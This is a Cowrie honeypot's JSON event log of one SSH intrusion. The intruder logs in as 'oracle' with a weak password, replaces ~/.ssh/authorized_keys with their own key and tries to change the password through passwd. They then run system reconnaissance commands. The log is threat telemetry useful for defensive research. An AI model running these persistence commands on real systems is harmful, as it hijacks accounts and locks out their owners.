{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:32.434987Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:32.600925Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.893052339553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:33.021953Z","src_ip":"20.231.213.159","session":"0da2ab7ae399","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qazxsw2","message":"login attempt [oracle/1qazxsw2] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:33.305327Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:33.676919Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:33.680013Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:33.683299Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:34.232617Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:34.895536Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:34.899293Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:35.024218Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:35.028448Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.65075445175171,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:36.631617Z","src_ip":"103.115.172.252","session":"e3a7d28f2187","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.184000Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.187044Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.301291Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.595104Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"1qazxsw2\\nMeC50PeM2pHD\\nMeC50PeM2pHD\"|passwd|bash","message":"CMD: echo -e \"1qazxsw2\\nMeC50PeM2pHD\\nMeC50PeM2pHD\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.598202Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.601523Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.603852Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e57f5962fce76c3e15e359ec77f2cd1f625af94702045bd5a708c1a85408ae54","size":32,"shasum":"e57f5962fce76c3e15e359ec77f2cd1f625af94702045bd5a708c1a85408ae54","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e57f5962fce76c3e15e359ec77f2cd1f625af94702045bd5a708c1a85408ae54 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.711689Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.969367Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"1qazxsw2\\nMeC50PeM2pHD\\nMeC50PeM2pHD\\n\"|passwd","message":"CMD: echo \"1qazxsw2\\nMeC50PeM2pHD\\nMeC50PeM2pHD\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:47.972017Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4fb2fb2220f29b45b3ba52f03981695f23d7adad25fd419fd57093c3720c752e","size":25,"shasum":"4fb2fb2220f29b45b3ba52f03981695f23d7adad25fd419fd57093c3720c752e","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4fb2fb2220f29b45b3ba52f03981695f23d7adad25fd419fd57093c3720c752e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.085333Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.389319Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.392847Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.504208Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.759542Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.762906Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:48.874067Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.124546Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.127931Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.130978Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.247763Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.517180Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.520324Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":22,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.636661Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.902255Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:49.905725Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.015604Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.625077Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.628872Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.741353Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.995930Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:50.999304Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.117766Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.367272Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.369713Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.479599Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.745172Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.748053Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:51.858381Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.123656Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.127396Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.240686Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.520236Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.523209Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":7,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:52.635626Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.237228Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.240102Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
